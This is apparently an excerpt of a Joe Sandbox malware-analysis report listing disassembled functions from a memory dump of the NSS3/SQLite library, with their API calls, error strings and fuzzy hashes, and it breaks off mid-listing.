Opcode Fuzzy Hash: ccc46f7778b5ee096e30e5bb44bbb555e71017060b94af5cb5ba66bcc8aae8db
Instruction Fuzzy Hash: 93F1B5F1E00205AFEF018F78DE45BAE77A8AF49384F084069E81997342F739D995CB91

Function 6BA2D810 Relevance: 46.3, APIs: 15, Strings: 11, Instructions: 760COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6BA2D832
memset.VCRUNTIME140(00000000,00000000,00000220,?,?,?,?,?,?,?,?,?,6BA2D804,?,?), ref: 6BA2D8AF
sqlite3_mprintf.NSS3(MATCH), ref: 6BA2DC8D

Part of subcall function 6BA2F420: sqlite3_initialize.NSS3 ref: 6BA2F432
Part of subcall function 6BA2F420: sqlite3_initialize.NSS3 ref: 6BA2F441

EnterCriticalSection.KERNEL32(?), ref: 6BA2DE64
LeaveCriticalSection.KERNEL32(?), ref: 6BA2DEB7

Part of subcall function 6B9CCA30: EnterCriticalSection.KERNEL32(?,?,?,6BA2F9C9,?,6BA2F4DA,6BA2F9C9,?,?,6B9F369A), ref: 6B9CCA7A
Part of subcall function 6B9CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6B9CCB26

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BA2E023, 6BA2E0E2, 6BA2E13F, 6BA2E2D7
RTRIM, xrefs: 6BA2DA15
NOCASE, xrefs: 6BA2D9F9
misuse, xrefs: 6BA2E02D, 6BA2E0EC, 6BA2E149, 6BA2E2E1
%s at line %d of [%.10s], xrefs: 6BA2E032, 6BA2E0F1, 6BA2E14E, 6BA2E2E6
automatic extension loading failed: %s, xrefs: 6BA2E27E
invalid, xrefs: 6BA2E0CF, 6BA2E12C, 6BA2E2C4
temp, xrefs: 6BA2DC04
MATCH, xrefs: 6BA2DC56, 6BA2DC88, 6BA2DCCD
API call with %s database connection pointer, xrefs: 6BA2E0D4, 6BA2E131, 6BA2E2C9
BINARY, xrefs: 6BA2D9B7, 6BA2D9CD, 6BA2D9E1

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_initialize$EnterLeave$memsetsqlite3_mprintf
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$invalid$misuse$temp
API String ID: 3173223877-3674256787
Opcode ID: 88f4be4e349b2d9bcb02432cd15d93de8ce4abf7677c1a895ad2be03a90eca38
Instruction ID: d8a50cc0e5ad26c3aefef24c03e3c2f9eb765f9140cd6c653476406dbbe545c4
Opcode Fuzzy Hash: 88f4be4e349b2d9bcb02432cd15d93de8ce4abf7677c1a895ad2be03a90eca38
Instruction Fuzzy Hash: 66522271E44680AFEF14DF34C8417AABBA2BF56308F0C4169D8456B242E77DE8D5CB92

Function 6B9F1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6B9F25F3

Strings

a NATURAL join may not have an ON or USING clause, xrefs: 6B9F32C1
H, xrefs: 6B9F329F
table %s has %d values for %d columns, xrefs: 6B9F316C
cannot have both ON and USING clauses in the same join, xrefs: 6B9F32B5
no tables specified, xrefs: 6B9F26BE
H, xrefs: 6B9F322D
%s.%s.%s, xrefs: 6B9F302D
multiple recursive references: %s, xrefs: 6B9F22E0
too many columns in result set, xrefs: 6B9F3012
cannot join using column %s - column not present in both tables, xrefs: 6B9F32AB
no such table: %s, xrefs: 6B9F26AC
too many references to "%s": max 65535, xrefs: 6B9F2FB6
access to view "%s" prohibited, xrefs: 6B9F2F4A
recursive reference in a subquery: %s, xrefs: 6B9F22E5
unsafe use of virtual table "%s", xrefs: 6B9F30D1
'%s' is not a function, xrefs: 6B9F2FD2
no such index: "%s", xrefs: 6B9F319D
%s.%s, xrefs: 6B9F2D68

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: d6247dfaebab2dcd2c2902b0c207b19f28c0bc72e3bfa1b228cafdbd36f3f105
Instruction ID: 05da362e9d8f0aa062be3505acf55d63a5914bea95c759b1f2cd3c1116fb9033
Opcode Fuzzy Hash: d6247dfaebab2dcd2c2902b0c207b19f28c0bc72e3bfa1b228cafdbd36f3f105
Instruction Fuzzy Hash: 58D24D74E042898FDB14CFA4C490B9DB7BAFF49328F2481A9E855AB351D739E843CB51

Function 6BA29BA0 Relevance: 35.7, APIs: 9, Strings: 11, Instructions: 744COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BA29BF4
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA29CA6
memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,0000000A), ref: 6BA29D91
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BA29DF3
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA29E1B

Strings

0, xrefs: 6BA29D68
+, xrefs: 6BA2A3E0
x, xrefs: 6BA2A320
0123456789abcdefABCDEF, xrefs: 6BA29D8A, 6BA29FF3
., xrefs: 6BA2A477
+, xrefs: 6BA29D57
%, xrefs: 6BA29C05
-, xrefs: 6BA29D4E
-, xrefs: 6BA2A3DB
+, xrefs: 6BA2A589
-, xrefs: 6BA2A584

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: isspace$memchr
String ID: %$+$+$+$-$-$-$.$0$0123456789abcdefABCDEF$x
API String ID: 3565172429-347996555
Opcode ID: 8255f4990d55842a98e456dc7ea227e08265ba1de9421a4d78da054b272e2190
Instruction ID: de09a012073d726efaecfd64cbef4b3f592568700b273c46e6c348115bb322d5
Opcode Fuzzy Hash: 8255f4990d55842a98e456dc7ea227e08265ba1de9421a4d78da054b272e2190
Instruction Fuzzy Hash: 55524974608341AFDB148F24C99466EBBF2FF8AB10F08486EF99687251D779D885CB43

Function 6BAADAB0 Relevance: 35.0, APIs: 23, Instructions: 530threadmemorytimeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BAAC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6BAADAE2,?), ref: 6BAAC6C2

PR_SetError.NSS3(FFFFE02F,00000000), ref: 6BAADB74
CERT_DestroyCertArray.NSS3(?,00000000), ref: 6BAADB8E
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6BAADB9D
CERT_ImportCerts.NSS3(?,?,00000000,?,?,-00000001,00000000,00000000), ref: 6BAADC11
CERT_FindCertByIssuerAndSN.NSS3(?,0000001C), ref: 6BAADC2C
DER_DecodeTimeChoice_Util.NSS3(?,00000000), ref: 6BAADC9F
PR_Now.NSS3 ref: 6BAADCCF
CERT_SaveSMimeProfile.NSS3(?,00000000,?), ref: 6BAADD71
PR_SetError.NSS3(?,00000000), ref: 6BAADD7C
SECOID_FindOID_Util.NSS3(?), ref: 6BAADDC4
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6BAADDE5
PR_SetError.NSS3(FFFFE006,00000000), ref: 6BAADE1B
SECOID_FindOID_Util.NSS3(?), ref: 6BAADE46

Part of subcall function 6BAA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6BA48298,?,?,?,6BA3FCE5,?), ref: 6BAA07BF
Part of subcall function 6BAA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6BAA07E6
Part of subcall function 6BAA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA081B
Part of subcall function 6BAA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA0825

SECOID_FindOID_Util.NSS3(?), ref: 6BAADEAF
PR_GetCurrentThread.NSS3 ref: 6BAADD36

Part of subcall function 6BAAFE30: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6BAAFE49
Part of subcall function 6BAAFE30: memcmp.VCRUNTIME140(00000000,00000000,?), ref: 6BAAFE7A

memcmp.VCRUNTIME140(?,00000000,?), ref: 6BAADF19
memcmp.VCRUNTIME140(?,00000000,?), ref: 6BAADF62
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6BB7218C), ref: 6BAADF86

Part of subcall function 6BA9F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6BA9F0C8
Part of subcall function 6BA9F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA9F122

Part of subcall function 6BA56980: SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA569BA
Part of subcall function 6BA56980: VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6BA56A59
Part of subcall function 6BA56980: SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA56AB7
Part of subcall function 6BA56980: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA56ACA

PORT_Alloc_Util.NSS3(?), ref: 6BAAE031
free.MOZGLUE(?), ref: 6BAAE0A0

Part of subcall function 6BAAFE30: memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6BAAFEB3

PR_SetError.NSS3(FFFFE02F,00000000), ref: 6BAAE0B2
PR_GetCurrentThread.NSS3 ref: 6BAAE0F2
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6BAAE107

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Error$Find$memcmp$DestroyHash$Arena_CertCurrentFreeItem_LookupPublicTableThreadfree$Alloc_ArrayCertsChoice_ConstDecodeEncodeImportIssuerMimeProfileSaveSignatureTag_TimeTypeWith
String ID:
API String ID: 1503609393-0
Opcode ID: 879946266c06d51a115cc741195a5b657716291964bf0034a4d7beef8130d9d5
Instruction ID: 3949b5ac8fb94430e873b6e5ac1d320142bf0917a0961203eb466449f9d912f0
Opcode Fuzzy Hash: 879946266c06d51a115cc741195a5b657716291964bf0034a4d7beef8130d9d5
Instruction Fuzzy Hash: 5C12AF71A44301AFEF00CF24C981B1BBBF5EF84708F18456CE99597251E739E994CBA2

Function 6BA1BB20 Relevance: 32.9, APIs: 15, Strings: 3, Instructions: 1356COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6BA1BCD6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BA1BD1D
sqlite3_initialize.NSS3 ref: 6BA1BD2C
memcpy.VCRUNTIME140(?,?,?), ref: 6BA1C0C1
memcpy.VCRUNTIME140(?,?,?), ref: 6BA1C1E4
EnterCriticalSection.KERNEL32(?), ref: 6BA1C287
LeaveCriticalSection.KERNEL32(?), ref: 6BA1C2E1
EnterCriticalSection.KERNEL32(?), ref: 6BA1C68D
LeaveCriticalSection.KERNEL32(?), ref: 6BA1C6E0
sqlite3_randomness.NSS3(00000004,?), ref: 6BA1C8A0
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BA1C928
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6BA1C932

Strings

database corruption, xrefs: 6BA1CC67, 6BA1CCC6
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BA1CC5D, 6BA1CCBC
%s at line %d of [%.10s], xrefs: 6BA1CC6C, 6BA1CCCB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave_byteswap_ulongmemcpysqlite3_initialize$memsetsqlite3_randomness
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 184507443-598938438
Opcode ID: 2303eeef22ffa1600c427cdf6b2740bee7b89224461d44c7725227bb54b19cf8
Instruction ID: e1b9a47d55c7e7208a9c1c2e074ea75ccd2da2143934d152e00903e40ca33dc7
Opcode Fuzzy Hash: 2303eeef22ffa1600c427cdf6b2740bee7b89224461d44c7725227bb54b19cf8
Instruction Fuzzy Hash: 56C27E75A083009FDB54DF18C580B2AB7F1FF89314F19896DE9999B351E739E881CB82

Function 6BA679F0 Relevance: 30.5, APIs: 20, Instructions: 455COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6BB6AB28,000000FC), ref: 6BA67A1E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6BA67A48

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ErrorValuememcpy
String ID:
API String ID: 3044119603-0
Opcode ID: 664a62d6fa293b65438e0073795af56d71624676e0cc1a1a95e820cac4c82764
Instruction ID: 19713c393fb30bbfbdf496e213128771a625e835cf0a4d8e3b5e16bf1b7bdae9
Opcode Fuzzy Hash: 664a62d6fa293b65438e0073795af56d71624676e0cc1a1a95e820cac4c82764
Instruction Fuzzy Hash: 230260B1D00219ABDF21CF64CC81BEAB7B9AF05348F0480E9E919A7241E7759ED5CF90

Function 6BA0FA10 Relevance: 30.3, APIs: 1, Strings: 15, Instructions: 2318COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6BA119A1
%r , xrefs: 6BA11A0F
rows inserted, xrefs: 6BA11287
not authorized, xrefs: 6BA11099, 6BA1109E
table %S has no column named %s, xrefs: 6BA10F99
table %S has %d columns but %d values were supplied, xrefs: 6BA116D9
LAST, xrefs: 6BA11B0D, 6BA11B1A
q, xrefs: 6BA10B99
cannot INSERT into generated column "%s", xrefs: 6BA10FDC
cannot UPSERT a view, xrefs: 6BA11B25
%sON CONFLICT clause does not match any PRIMARY KEY or UNIQUE constraint, xrefs: 6BA11A27
FIRST, xrefs: 6BA11B08
unsupported use of NULLS %s, xrefs: 6BA11B1B
UPSERT not implemented for virtual table "%s", xrefs: 6BA11B41
%d values for %d columns, xrefs: 6BA11751

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID: %d values for %d columns$%r $%sON CONFLICT clause does not match any PRIMARY KEY or UNIQUE constraint$FIRST$LAST$UPSERT not implemented for virtual table "%s"$authorizer malfunction$cannot INSERT into generated column "%s"$cannot UPSERT a view$not authorized$q$rows inserted$table %S has %d columns but %d values were supplied$table %S has no column named %s$unsupported use of NULLS %s
API String ID: 0-1631391630
Opcode ID: 370d1edbfde81a7771d93c711e3e602e6fc846135b9c5ac33c4294d6f0e0968c
Instruction ID: e81b541ba8c0d1d1f481949d9abc67eb6d2f5ec7cb35b19f5c23de864b4ba2fc
Opcode Fuzzy Hash: 370d1edbfde81a7771d93c711e3e602e6fc846135b9c5ac33c4294d6f0e0968c
Instruction Fuzzy Hash: 12235074A083419FDB64CF24C480B2AB7F2FF89718F14855DE8999B351D739E896CB82

Function 6BA7EA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6BA88C9F,00000000,00000000,?), ref: 6BA7EA29

Part of subcall function 6BAA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA08B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6BA88C9F), ref: 6BA7EB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6BB6C6C4), ref: 6BA7EB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6BA7EBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6BA7EBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA7EBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6BA88C9F), ref: 6BA7EC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BA7EC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6BA7EC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6BB6C754), ref: 6BA7EC6D
free.MOZGLUE(?), ref: 6BA7EC7F
free.MOZGLUE(00000000), ref: 6BA7EC90
free.MOZGLUE(?), ref: 6BA7ECA1
free.MOZGLUE(00000000), ref: 6BA7ECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA7ECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6BA891D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6BA891E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6BA891F2
free.MOZGLUE(00000000), ref: 6BA891FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: 1b51a28794316ee0f0c792d6e38563d5d986b5730305d508c659ea28a08f94b5
Instruction ID: 5c5062a07f91c6f70797be54f4463aef536a3527e2702cf411ae5965bfcb683f
Opcode Fuzzy Hash: 1b51a28794316ee0f0c792d6e38563d5d986b5730305d508c659ea28a08f94b5
Instruction Fuzzy Hash: 67A11979A141045BFF20EA69DD85BFE7BACEB81304F148479E816DB381E62DD9C0C792

Function 6BA70BA0 Relevance: 25.7, APIs: 17, Instructions: 242memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE0B3,00000000), ref: 6BA70BFA

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA70C18
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6BA70C2E
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6BA70C39
SECKEY_DestroyPublicKey.NSS3(?), ref: 6BA70C45
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6BA70CC1
PORT_Alloc_Util.NSS3(?), ref: 6BA70CDA
memcpy.VCRUNTIME140(?,?,?), ref: 6BA70D1B
PK11_GenerateKeyPairWithOpFlags.NSS3 ref: 6BA70D79
PR_SetError.NSS3(FFFFE006,00000000), ref: 6BA70DB2
PK11_CreateContextBySymKey.NSS3(?,82000104,?,?), ref: 6BA70DE4
PR_SetError.NSS3(FFFFE001,00000000), ref: 6BA70DFE
PR_SetError.NSS3(FFFFE064,00000000), ref: 6BA70E2C
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6BA70E38
SECKEY_DestroyPublicKey.NSS3(?), ref: 6BA70E44
free.MOZGLUE(?), ref: 6BA70E7E
free.MOZGLUE(?), ref: 6BA70EAE

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: DestroyError$K11_$ContextPrivatePublicUtilfree$Alloc_CreateFindFlagsGeneratePairTag_ValueWithmemcpy
String ID:
API String ID: 2510822978-0
Opcode ID: b7e3136ad4a84a5b18527aad689e0382ec2761d800bf217d4c9464a9dd2ff6df
Instruction ID: 32026324da8a9582270de2355545b33a7d234bc6b3d97731249ccd651e3ecfdd
Opcode Fuzzy Hash: b7e3136ad4a84a5b18527aad689e0382ec2761d800bf217d4c9464a9dd2ff6df
Instruction Fuzzy Hash: 7F91B6B5908300AFDB20AF28DD4571BBBE4AF84708F04857DF89997351E73AD994CB92

Function 6BACDA30 Relevance: 24.4, APIs: 16, Instructions: 379memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BAD5B40: PR_GetIdentitiesLayer.NSS3 ref: 6BAD5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BACDA96
memcpy.VCRUNTIME140(?,?,?), ref: 6BACDAB4
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6BACDACB
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6BACDB53

Part of subcall function 6BA9BE30: SECOID_FindOID_Util.NSS3(6BA5311B,00000000,?,6BA5311B,?), ref: 6BA9BE44

PORT_ZAlloc_Util.NSS3(00000040), ref: 6BACDBCB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BACDC35
CERT_CertChainFromCert.NSS3(?,00000001,00000001), ref: 6BACDC55
SECITEM_DupArray.NSS3(00000000,?), ref: 6BACDC9C
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6BACDCCF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6BACDCE5
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6BACDD1D
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6BACDD8E
SECKEY_CopyPrivateKey.NSS3(?), ref: 6BACDD9F
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BACDE96
PR_GetCurrentThread.NSS3 ref: 6BACDEAA
PR_SetError.NSS3(?,00000000), ref: 6BACDEC8

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
